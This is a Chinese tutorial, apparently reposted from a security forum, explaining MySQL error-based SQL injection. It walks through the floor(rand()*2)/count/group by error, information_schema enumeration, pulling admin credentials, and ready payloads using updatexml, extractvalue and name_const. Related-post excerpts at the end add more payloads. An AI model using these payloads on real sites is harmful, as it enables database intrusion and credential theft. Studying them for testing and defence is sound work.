【菜鸟学注入】之MySQL报错注入详解

本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入

用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的。如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询
创建一个test表
USE test;
CREATE TABLE test(num int(5));
INSERT INTO test VALUES(1);
INSERT INTO test VALUES(2);
INSERT INTO test VALUES(3);
INSERT INTO test VALUES(4);
SELECT * FROM test;
复制代码

主要涉及的mysql函数语句:
1. Rand()         #随机函数
2. Floor()         #取整函数
3. CONUNT()         #汇总函数
4. Group by     #分组语句
复制代码

原理:
当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来
                                                                                                                                                      --源于安全研究人员

简单的例子:
use test;
复制代码

然后简单看一下CONCAT的用法
SELECT CONCAT("a","b");
复制代码

查询什么就出来什么,
下面分别看一下其它几个函数的作用
SELECT rand();
复制代码

Rand()函数,学过编程的人都应该知道是一个产生随机数的函数范围在(0,1)之间的浮点数

再看看floor()函数
SELECT floor(3.141216545);
复制代码

显而易见,是一个取整的函数

SELECT floor(rand()*2);
复制代码

Rand()的范围是(0,1)*2==>(0,2)
那么floor(rand()*2)取整后就是0和1两个数
SELECT CONCAT((SELECT database()),floor(rand()*2));
复制代码

如果我们将上面那句加上from某个表,就会返回test0和test1的集合,返回的长度有表的记录数决定 ,例如我们from一下test表。

返回了4行数据
那么,我们如何过滤掉这些重复的信息呢?
这里就要用到group by语句,group by的作用是:
用于结合合计函数,根据一个或多个列对结果集进行分组。
我们来查询一下
SELECT CONCAT((SELECT database()),floor(rand()*2)) as a from test group by a;
复制代码

这样就不会有那么多无用的信息
简单解释一下语句:
CONCAT((SELECT database()),floor(rand()*2)) as a 这个就是将列名重命名为a,看图对比一        下即可知道
Group by a就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面,因此我们看        到的数据就只有两个不同的

同理,我们可以将database()换成其它你想要查询的东西,如version(),@@data等。
而我们注入的时候通常是通过mysql的information_schema这个数据库来查询信息,
查询数据名就查询schemata的SCHEMA_NAME这个列
暴库
select * from information_schema.schemata;
复制代码

里面就是我的数据名字

爆表
SELECT DISTINCT TABLE_NAME FROM information_schema.tables;
复制代码

爆列名
SELECT DISTINCT TABLE_NAME FROM information_schema.tables;
复制代码
太长了我就不截图了,自己去看看吧
爆字段就更简单了
直接查询就是
SELECT username,password FROM admin;
复制代码

假如存在这列名和表

知道这些后我们利用报错注入就可以,查询到我们想要的数据了

select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
复制代码

为了好看你可以加一些标记
select count(*), concat(‘--‘,(select user()),‘--‘, floor(rand()*2))as a from       information_schema.tables group by a;
复制代码

更加高级的一点的就是,我们真正用到的双注入查询,是select的嵌套子查询,就是select里面还有一个select查询语句
通常是一种固定的格式,适用于没有回现位置和不能order by确定的注入
union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from         information_schema.tables group by a)b
蓝色部分就是我们之前讲的基本报错原理,而union是因为我们注入网站时,别人查询数据我        们使用union关键字进行联合查询,那如果人家使用的不是select查询呢?
如果不是select,我们可以将这个语句嵌套到里面去就可,如使用or关键字等,进行查询,同样        可以进行注入,这个比较灵活
详情可以参考一下这篇文章
http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf
本来想贴某云的地址的,但想想还是算了。
简单测试了一下,还是可以的,主要用到的代码是这几个

or updatexml(1,concat(0x7e,(version())),0)  or ‘‘
or extractvalue(1,concat(0x7e,database())) or ‘‘
or (SELECT * FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ‘‘
复制代码

主要就是三种,还有一些其他的就不贴出来了,都是放在插入、删除和更新的字段后面
简单举个例子吧

insert into test values (5 or updatexml(1,concat(0x7e,(version())),0)  or‘‘);
复制代码

记得后面加两个单引号!
关于实例,可以论坛搜索,看30的帖子吧。这里就不做演示了
链接
http://bbs.blackbap.org/thread-2360-1-1.html
http://bbs.blackbap.org/thread-2235-1-1.html
PS:写的不好大牛勿喷,不知道排版怎么样,其实我在乎的是排版不是内容

写在最后,谢谢观看
参考文章:
           http://www.cnseay.com/2363/
           http://bugs.mysql.com/bug.php?id=8652
           http://www.websec.ca/kb/sql_injection#MySQL_Specific_Code
时间: 2024-10-27 07:06:23

【菜鸟学注入】之MySQL报错注入详解的相关文章

又一种Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的Mysql) mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT

sql注入--双查询报错注入原理探索

目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客,今天来探究其原理 实际上该报错是由于rand(),count(),group by 三个语句联合使用造成的,缺一不可. 上一篇的地址:https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html part 1 场景复现 首先我们新建一个数据库,并创建一

mysql报错注入手工方法

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习. 总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用. 公式具体如下 and(select 1 from(select count(*),concat((select (select (select co

Mysql报错注入原理分析(count()、rand()、group by)

0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理. 0x01 位置问题? select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,f

SQL注入之mysql显错注入

在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!. 图1 获取数据库失败 此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql

学习笔记 MYSQL报错注入(count()、rand()、group by)

首先看下常见的攻击载荷,如下: select count(*),(floor(rand(0)*2))x from table by x; 然后对于攻击载荷进行解释, floor(rand(0)*2) 查询表中内容大于等于3条会报错.一部分原因,因为floor(rand(0)*2)是有规律和固定的. 如果不理解,可以用数据库做下实验.select floor(rand(0)*2) from table ,数据量最好10条左右.你会发现一串0110110011--有规律的数字. 再然后select

注入之mysql报错Floor报错分析

完整的payload:http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

MYSQL报错注入方法整理

1.通过floor暴错 /*数据库版本*/ SQL http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables g

十种MySQL报错注入

以下均摘自<代码审计:企业级Web代码安全架构>一书 1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue() select * from test where id=1 and (extractvalue(1,